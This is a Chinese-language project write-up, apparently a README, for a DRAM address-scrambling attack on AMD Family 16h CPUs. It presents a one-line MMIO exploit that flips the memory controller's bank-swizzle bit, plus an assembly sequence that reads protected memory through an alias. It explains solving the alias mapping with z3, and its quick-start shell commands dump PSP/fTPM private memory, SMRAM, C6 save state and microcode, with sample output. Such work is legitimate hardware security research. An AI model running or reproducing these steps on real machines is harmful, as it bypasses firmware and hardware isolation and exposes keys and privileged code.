把 DRAM 地址搅成意大利面:DRAM 地址混淆攻击
借助 DRAM 地址混淆,彻底解锁 CPU 上的一切——PSP、C6、微码、SMM,以及规范中遗漏的任何东西。
&x == &x。
通常如此。
拨弄 DRAM 控制器,就能让地址落到内存中你想要的任何位置。skitter-creek-bath-salts 修改了内存层级最底层,重新编排物理 DRAM 地址的转换。这一做法把平台内存搅成一团乱麻,将受保护的 DRAM 区域暴露出来——那些连内核都看不见的 carveout(内存预留区)。地址转换一旦被打破,建立其上的安全原语也随之瓦解,于是我们便解锁了一切。
简介
目标平台
本项目基于 AMD Family 16h CPU 开发并测试,这是最后一代在数据手册中还记载了 DRAM 控制器地址转换寄存器的产品,并且文档明确指出这些寄存器无法被锁定。从 17h 起,后续型号干脆直接删掉了这部分信息。关于 *p 的探索历程在各代架构间大同小异,其底层转换原理甚至可以延伸到 ARM、RISC-V 等更多平台;skitter-creek-bath-salts 只是向我们展示了一个起点。
*p 的探索历程
这趟旅程漫长得离谱。
内存建立在层层抽象之上,深到近乎荒谬。当你的代码解引用 *p 时,看起来是在访问地址 p 对应的 DRAM。事实并非如此——p 是虚拟地址,在触及 DRAM 哪怕一个比特之前,它必须先穿过下方的重重关卡:
── CPU 核心 / MMU ────────────────────────────────────────────────
┌─ VA ← 来自 load/store 的 64 位虚拟地址
│
└> canonical 形式检查 ──────────────────┐ ← 位 [63:48] 由位 47 符号扩展
┌─ 段基址相加 <─────────────────────────┘ ← FS.base / GS.base(MSR_FS_BASE、MSR_GS_BASE)
│
└> TLB 探查 ────────────────────────────────┐ ← 按 PCID(host)/ VPID(guest)标记
命中 → 物理地址 k │
未命中 → 启动硬件页遍历器 │
┌─ 页遍历(从 CR3 起始) <─────────────────────┘ ← 仅在 TLB 未命中时执行
│ PML5[VA 56:48] ← 仅当 CR4.LA57=1 时存在
│ PML4[VA 47:39]
│ PDPT[VA 38:30] ← 可作为 1 GiB 大页
│ PD [VA 29:21] ← 可作为 2 MiB 大页
│ PT [VA 20:12]
│ PTE ← R/W · U/S · NX · A/D · PAT · PCD · PWT · G
│
└> 各级权限检查 ──────────────────────────┐ ← 在遍历的每一级都要评估
特权级 (U/S) │ ← CPL 与 PTE.U/S 比较
可写 (R/W) │ ← 另需 CR0.WP
可执行 (NX) │ ← EFER.NXE
SMEP / SMAP │ ← CR4.SMEP · CR4.SMAP · EFLAGS.AC
保护键 │ ← PKRU(用户态)· IA32_PKRS(内核态)
┌─ A/D 位更新 <───────────────────────────┘ ← 对 PTE 加锁的读改写操作
│
└> 若为客户机:EPT / NPT 再遍历 ─────────────┐ ← 每个 guest-PA 都要重新遍历
EPT-PML4 → EPT-PDPT → EPT-PD → EPT-PT │ ← 另需 EPT 内存类型覆盖
⇒ 单次客户机遍历约 5× 页表遍历次数 │
┌─ TLB 失效 IPI <───────────────────────┘ ← invlpg 广播给对等 vCPU
│
│ ── IOMMU(芯片组 / I/O 互连) ──────────────────────────────
│
└> 若由设备发起,IOMMU 页表遍历 ──────┐ ← VT-d / AMD-Vi:device-ID → domain → 页表
│
┌── **物理地址 k** <─────────────────┘
│
│ ── CPU 核心 / MMU — 内存类型解析 ────────────────────────
│
└> MTRR 范围匹配 ──────────────────────────┐ ← IA32_MTRR_DEF_TYPE + 固定 / 可变 MTRR
┌─ PAT 表项选择 <─────────────────────────┘ ← IA32_PAT[ PTE.PAT:PCD:PWT ]
│
└> 有效内存类型 ─────────────────────┐ ← { WB, WT, WC, WP, UC-, UC }
│
── CPU 非核心(uncore) — 缓存与一致性 ────────────────────────────────
│
┌─ L1-D 探查 <───────────────────────────────┘ ← VIPT,每核独立
│
└> L2 探查 ──────────────────────────────┐ ← 每核 / 每 CCX
┌─ LLC 探查 + 目录查询 <────────────────────┘ ← 共享,分片(sliced)
│
└> 嗅探 / 一致性 ─────────────────────────┐ ← MESI / MOESI 广播
插槽内 │ ← 广播给同插槽的对等核心
跨插槽 │ ← QPI · UPI · Infinity Fabric · CXL.cache
home-node 目录响应 │ ← data | intervention | abort
│
── 系统数据 fabric / 互连 ──────────────────────────────
│
┌─ 若属于 MMIO 范围或 4 GiB 以下 MMIO 空洞 <─────┘ ← uncore / 数据 fabric 的 posted / non-posted 事务
│ → 设备 BAR;结束
│
└> 否则流向 DRAM:数据 fabric / mesh ───────┐ ← AMD DF · Intel mesh 或 ring uncore
│
┏━━ ── MCT / IMC(内存控制器) ────────────────────────────────
W ┃ ┌─ DRAM 空洞重映射 <──────────────────────────┘ ← 高内存重映射到 TOM 之上
E ┃ │
┃ └> 内存区域排除重映射 ─────────────┐ ← 保留 / 受保护地址范围
┃ ┌─ 通道交错哈希 <──────────────────┘ ← 选定 PA 位的 XOR → 通道
A ┃ │
R ┃ └> Rank 交错哈希 ──────────────────────┐ ← 选定 PA 位的 XOR → rank
E ┃ ┌─ Bank 交错哈希 <─────────────────────┘ ← 选定 PA 位的 XOR → bank
┃ │
┃ └> Bank 置乱 / XOR 扰码 ───────────────┐ ← 由厂商和 BIOS 配置
H ┃ ┌─ 片选归一化(DCT) <────────────────┘ ← 每个 rank 的 CS 信号线
E ┃ │ rank → CS 映射
R ┃ │
E ┃ └> 子通道选择 ────────────────────────┐ ← 仅 DDR5 / LPDDR5
┗━━ │
│
DRAM 坐标 <─────────────────────────┘ ← bank group · bank · 行(RAS)· 列(CAS)
这个项目深入到了 *p 管线的最底层,也就是 MCT/DCT 层——来自数据互连的物理地址在这里进入内存控制器,被最后一次改写成发给 DIMM 的原始 DRAM 坐标。
把 DRAM 搅成意大利面
物理地址说到底不过是个建议。
xor dword [0xf80c2094], 0x00400000
漏洞利用就这一行,全部内容都在这了。
在内存控制器里翻转一个比特,就能改写 *p 管线底层的映射,原本位于 &x 的数据转眼就到了别处。于是 &x != &x。CPU、固件、uncore 和芯片组用来隔离受保护内存的所有机制都架在内存控制器之上,对底层发生的一切一无所知。那些防护栏守的是物理地址,不是 DRAM 坐标;只要把坐标打乱,上层的屏障根本察觉不到。
改写 DRAM 映射本身并不难。上面那个比特位是 DCT 中的 bank-swizzle 模式,它只是控制最后一层地址重映射的几十个比特之一——只要去拨弄它们,建在其上的一切就会轰然倒塌。真正难的是在整个系统内存被搅得天翻地覆的同时,还要让平台保持稳定运行。
诀窍是:动作要快,而且别碰 DRAM。关闭 AP,预备好 TLB,预热缓存,关中断,刷新目标数据,串行化内存访问,祈祷 CPU 已经把即将执行的指令预取好了。然后改写 MCT/DCT 把 DRAM 搅成一团乱麻,从受保护区域抓取数据,恢复映射,再次串行化,开中断,恢复 AP,平台就一切如常了。
mov eax, [0xf80c2094] ; 预热 MMIO TLB mov eax, [0x6f800000] ; 预热目标地址 TLB pushf ; 保存标志位 cli ; 关闭中断 clflush [0x6f800000] ; 驱逐目标缓存行,强制走 DRAM 读取 mfence ; 屏障 —— 不允许相干世界(coherent world)下的 DRAM 访问 lfence ; 可重排为"意大利面化"视图 xor dword [0xf80c2094], 1<<22 ; 翻转 DCT 交叉配置 → 触发 DRAM 意大利面化 mov ebx, [0x6f800000] ; 以意大利面化视图取目标值 xor dword [0xf80c2094], 1<<22 ; 恢复 DCT 交叉配置 → 撤销混乱 mfence ; 屏障 —— 不允许意大利面化视图下的 DRAM 访问 lfence ; 可重排回相干世界视图 popf ; 恢复标志位,开启中断
只要精心配置分页、缓存状态、线程以及 TLB,这套地址扰乱(scrambling)机制就能从 C 代码层面跑起来,用来说明 *p 流水线是如何坍塌的,以及当 &x != &x 突然发生时平台所呈现出的"崩坏"视图:
于是我们可以在不留痕迹的情况下重新布线地址映射再恢复原样。剩下唯一要弄清的就是:它被映射成了什么。
解锁 一切
平台上每一个受保护的内存区域,都可以用一个计算器搞定。
借助上述方法,我们可以在系统运行时重新配置 MCT/DCT 变换——也就是改组 *p 流水线最底层的环节——从而在所有更高层保护机制脚下把内存搅成一团浆糊。
但这里有个难题:虽然我们只需一条 xor dword [0xf80c2094], 0x00400000 就能改写地址变换,却完全不知道 MCT/DCT 之后会启用哪些新变换(数据手册里这块描述得相当含糊——异或映射表对不上、MMIO 减法级(subtractive stage)顺序无定则、而且不同型号之间细节各异)。没有这个信息,内存虽说被乱掉了,我们却没办法还原回来。
幸运的是,DRAM 控制器的地址变换是一组 GF(2) 线性映射,这意味着我们只需借助基本的线性代数就能重建被扰乱后的内存。
先看正常情况:默认 MCT/DCT 配置的正向变换作用于某个物理地址,正好落在 DRAM 中的一个秘密数据上:
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_firmware target secret
这就是内存的一致视图:*p 流水线的最末级完全按预期工作。
现在用 xor dword [0xf80c2094], 0x00400000 重新连接 *p 的 MCT/DCT 级,平台就进入了内存的乱序/意大利面化视图,此时不同的变换让一个别名也能命中同一段 DRAM 秘密数据:
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 1 0 0 1 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ · │ 0 │ = │ 1 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker alias secret
利用这个别名,我们就能避开针对一致性视图所设置的平台锁与防御机制,直接访问到相同的密钥。要找到这个别名,可以把攻击者那套"面条化"哈希的逆矩阵,与固件所使用的一致性哈希的正向矩阵相乘,得到一个变换矩阵——从恶意的 MCT/DCT 配置出发,经此变换就能抵达任意密钥。
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
唯一的难题在于这些矩阵是未知的,也就是说我们完全不清楚内存实际的混淆方式,也找不到某个变换能让我们一开始就到达那个秘密:
┌ ┐ ┌ ┐ ┌ ┐ ┌ ┐
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ · │ 1 │ = │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 1 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
│ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? │ │ 0 │ │ ? │
└ ┘ └ ┘ └ ┘ └ ┘
M_attacker⁻¹ M_firmware target alias
幸运的是,到这一步就纯粹是线性代数了,想手算变换也行——或者用计算器。
我们使用 z3。首先,得给 SMT 求解器喂约束条件。
操作流程是这样的:先在一致视图下启动,修改 MCT/DCT 切换到混乱视图,往某个随机内存地址写入一个哨兵值(比如 0xdeadc0de),再切回一致视图,然后扫描整个内存找出哨兵值出现在哪里。这样就得到一对(目标地址,别名地址)——也就是一个具体的数据点,证明两个物理地址映射到了同一个 DRAM 单元。重复这个过程,收集若干组数据,全部丢给 z3,它就能解出两种视图之间的转换矩阵——左边是任意一个一致视图的物理地址,右边就是它在混乱视图下的别名:
┌ ┐ ┌ ┐ ┌ ┐
│ 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 1 0 0 1 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 1 │
│ 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 │ │ 0 │ │ 1 │
│ 0 0 0 0 1 0 0 0 0 0 1 0 0 0 0 1 │ · │ 1 │ = │ 0 │
│ 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 │ │ 1 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 │ │ 0 │ │ 0 │
│ 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 │ │ 0 │ │ 0 │
└ ┘ └ ┘ └ ┘
M_attacker⁻¹ ∘ M_firmware target alias
把别名对一条一条喂给 z3,我们就能实时观察这个 SMT 求解器逐步破解内存加扰规则的过程,效果如开头那张图所示。
这个解出来的地址变换就像一块罗塞塔石碑:相干视图里的任意目标地址,都能映射到同一个别名,在"意大利面化"的视图里抵达同一块 DRAM。想要访问任何受保护内存,挑一个我们平时碰不到的地址——PSP 私有内存、SMRAM、C6 闲置态——过一遍变换拿到它的别名。然后用 xor dword [0xf80c2094], 0x00400000 改写 DCT,读写这个别名,再用一次 xor 切换回来。别名走 *p 流水线的整个路径,从不会撞上平台为相干视图设置的围栏——对 DRAM 里任意位置的无限制访问。
说到底,那些精心隔离的东西——PSP 私有内存、SMRAM、C6 闲置态,OS 碰不到、ring-0 碰不到、有时连 CPU 自己都碰不到——还是静静地躺在同一批 DRAM 电容里。只不过这些锁都是围绕相干视图构建的,对一个绕过它们、抵达同一存储单元的意大利面化别名毫无作用。
在 *p 流水线的最后一级翻转一个比特,我们就解锁了一切。
快速上手:解锁你的平台安全处理器
折腾一下你的 PSP,看看会发生什么。
fTPM 跑在 PSP 自带的 ARM 核心上,位于刚超出可见内存顶端的 DRAM 预留区里。通过把一个 OS 可见的物理地址别名映射到它上面,就能访问到 fTPM,把字节拉出来反汇编。
# 在未测试过的平台上尽早退出。
./userspace/platform_check || exit 1
# 解析 PSP DRAM 预留区——设置 PSP_BASE / PSP_SIZE(在测试机上为 0x7f800000 /
# 0x800000)。把 2x4gb 换成匹配你 DIMM 的 data/maps/ 前缀;
# 每个保存的 map 对应一个 --map。
eval "$(sudo ./userspace/dram_carveouts --region psp)"
sudo ./userspace/dram_dump --protected-pa $PSP_BASE --length $PSP_SIZE \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > psp.bin
# PSP 是 ARM 核心,所以按 Thumb-2 反汇编。直接从抓取的镜像里
# 抠出 crAmd_ModExp(PSP_BASE+0x19d4 处的 0x64 字节)。
objdump -b binary -m armv7 -M force-thumb --adjust-vma=$PSP_BASE \
--start-address=$((PSP_BASE + 0x19d4)) \
--stop-address=$((PSP_BASE + 0x19d4 + 0x64)) \
-D psp.bin
; crAmd_ModExp —— fTPM 的 RSA 模幂运算例程,从 PSP 的私有 DRAM 中原样恢复
7f8019d4: b5f0 push {r4, r5, r6, r7, lr}
7f8019d6: b0e5 sub sp, #404
7f8019de: 2280 movs r2, #128 ; 1024 位操作数
7f8019e4: f7fe ffef bl 0x7f8009c6 ; 导入底数 (aA)
7f8019ee: a0eb adr r0, 0x7f801d9c ; "crAmd_ModExp aA failed, status = 0x%x"
7f8019f8: f7fe ffe5 bl 0x7f8009c6 ; 导入指数 (aB)
7f801a02: a0f0 adr r0, 0x7f801dc4 ; "crAmd_ModExp aB failed status = 0x%x"
7f801a18: f000 fdd4 bl 0x7f8025c4 ; 模幂运算本体
7f801a20: a0f2 adr r0, 0x7f801dec ; "crAmd_ModExp failed ret=0x%08x, exit"
7f801a22: f000 fef5 bl 0x7f802810 ; 记录错误
7f801a2e: f001 e92a blx 0x7f802c84 ; 导出结果
7f801a36: bdf0 pop {r4, r5, r6, r7, pc}
这就是 PSP 的 RSA 引擎——每次 fTPM 签名背后、以及用于生成密钥的 Miller-Rabin 测试背后的模幂运算——从本应专属 PSP 独占、由内存控制器隔离、连 ring-0 都看不到的内存中提取了出来。随你怎么改。
快速上手:解锁系统管理模式(SMM)
读出 SMM 藏起来的东西。
SMI 处理函数的入口向量位于 SMBASE + 0x8000。SMBASE 保存在 MSR 0xc0010111 中。读出该值,通过别名映射把对应字节取出来,直接灌进反汇编器:
# 在未经测试的平台上尽早退出。
./userspace/platform_check || exit 1
sudo modprobe msr
# SMBASE 是每个核独立的;核 0 的值保存在 MSR 0xc0010111 中。
SMM_BASE=0x$(sudo rdmsr -p 0 0xc0010111)
SMI_ENTRY=$(( SMM_BASE + 0x8000 ))
# 通过别名映射导出入口向量,并即时反汇编。
# SMM 以实模式启动,所以用 ndisasm 时加 -b 16。每个保存的映射对应一个 --map;
# printf 会把通配符展开成每组 (at_swizzle, at_bankswap) 各自的 --map。
sudo ./userspace/dram_dump --protected-pa $SMI_ENTRY --length 0x40 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) | ndisasm -b 16 -
; SMI 入口桩 —— 核心进入超级特权级 System Management Mode 时执行的第一段代码 mov si,0x8148 ; SI -> GDT 指针,位于 SMBASE+0x8148,紧跟在这段桩之后 o32 lgdt [cs:si] ; 加载 GDT(o32 表示使用完整的 32 位基址,而非实模式的 24 位形式) mov eax,0x3 ; CR0.PE | CR0.MP mov cr0,eax ; 将核心切换到保护模式 jmp short 0x14 ; 近跳转,用于在模式切换后串行化并清空预取队列 mov ax,0x18 ; GDT 选择子 0x18 -> 平坦数据段 mov ss,ax ; 为保护模式重新加载 SS mov eax,0x6efe2ff8 ; SMM 栈顶 mov esp,eax ; 安装 SMM 栈 o32 push byte +0x10 ; 远返回栈帧:CS = 代码选择子 0x10 mov ecx,0xc0010111 ; MSR SMM_BASE rdmsr ; EAX = 当前核心的 SMBASE mov ebx,eax ; 保存 SMBASE add eax,0x803a ; EAX = SMBASE+0x803a,即 32 位处理程序入口 push eax ; 远返回栈帧:EIP = SMBASE+0x803a retfd ; 远返回进入 0x10:SMBASE+0x803a —— 真正的 SMI 处理程序
这些指令运行在 ring -2,即 CPU 上特权级最高的上下文中, 运行在芯片组本应设为不可读的内存之外。所谓 SMRAM "锁定",说到底不过是个礼貌性的建议——只要我们能直接跟 DRAM 控制器对话。
把 2x4gb 换成 data/maps/ 里与你所装 DIMM 匹配的前缀(可用 sudo dmidecode -t memory 查看)。如果你的拓扑不在其中,可以运行 analysis/gather_aliases.py,再运行 analysis/unspaghettify.py,自行生成一份。
快速上手:解锁 C6 DRAM
我也不知道这里头是什么,也从来没见过有人讨论,应该是 CPU 内部寄存器。祝玩得开心。
当核心进入 C6 休眠态时,每个核心完整的 x86 架构上下文就保存在这里,以便恢复。
./userspace/platform_check || exit 1
# 解析 C6 暂存区域——设置 CC6_BASE / CC6_SIZE(在测试机器上为 0x7f000000 / 0x800000)。
# 每个空闲核的状态保存在一个 16 KiB 的区域里;这里有四个核,
# 偏移分别为 CC6_BASE + {0, 0x4000, 0x8000, 0xc000}。
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
sudo ./userspace/dram_dump --protected-pa $CC6_BASE --length 0x10000 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > cc6.bin
# 例如在这个平台上,IA32_APIC_BASE 位于每个区域的 +0x9b8 偏移处。
# 直接从暂存区里读出四个核的该寄存器值:
for c in 0 1 2 3; do
printf 'core %d ' $c
hexdump -C -s $(( c*0x4000 + 0x9b8 )) -n 8 cc6.bin | head -1
done
core 0 000009b8 00 09 e0 fe 00 00 00 00 |........| <- 0xfee00900 已启用,BSP 位置 1
core 1 000049b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 应用处理器
core 2 000089b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 应用处理器
core 3 0000c9b8 00 08 e0 fe 00 00 00 00 |........| <- 0xfee00800 应用处理器
一个核的 BSP 位置 1,另外三个没有——引导处理器和它的三个 AP,在空闲中途被逮个正着,寄存器状态原封不动地躺在那里。
你越是四处翻找,就越能找到更多的 CPU 寄存器:
| 偏移 | x86 状态 | core-0 值 |
|---|---|---|
+0x8b0 |
GS / per-cpu 基址 | 0xffff9be4e3600000 |
+0x9a0 |
CR3(页表根) | 0x0fd46000 |
+0x9b8 |
IA32_APIC_BASE | 0xfee00900 |
+0xa38 |
可变 MTRR(base/mask) | 0x6f000000 / …0800 |
+0xb10 |
保存的 RIP | 0xffffffff8f3a0029 |
当然,这些寄存器从 ring-0 本来就能访问。好玩的在于那里还躺着的其他 CPU 状态——那些 ring-0 也碰不到的内部 CPU 寄存器。
快速上手:解锁你的 CPU 微码
能出什么岔子呢?
核心进入 C6 状态后,它内部的微码补丁 RAM(即易失性 SRAM)会和核心一起断电。所以 C6 暂存机制会把已加载的补丁保存在 DRAM 中,唤醒时再重新载入。这个副本位于每个保存区域的 +0x1800 偏移处,访问方式和访问普通字节一样。
下面把 CPU 保存在受保护 DRAM 里的微码副本取出来:
./userspace/platform_check || exit 1
eval "$(sudo ./userspace/dram_carveouts --region cc6)"
# core 0 保存区域的第 1 页就是当前运行的微码补丁正文
sudo ./userspace/dram_dump --protected-pa $((CC6_BASE + 0x1800)) --length 0x5f0 \
$(printf -- '--map %s ' data/maps/2x4gb_*.map) > ucode_ram.bin
和已知补丁做比对:
# 看看有没有命中
python3 - <<'EOF'
ram = open("ucode_ram.bin", "rb").read()
chunks = [ram[i:i+16] for i in range(0, len(ram)-16, 16) if ram[i:i+16].count(0) <= 12]
for fam in (15, 16, 17, 19):
uc = open(f"/lib/firmware/amd-ucode/microcode_amd_fam{fam}h.bin", "rb").read()
print(f"fam{fam}h: {sum(c in uc for c in chunks):2}/{len(chunks)} chunks match")
EOF
这种结果就说明找对了:
fam15h: 0/94 chunks match
fam16h: 68/94 chunks match <- 核心正在运行的微码
fam17h: 0/94 chunks match
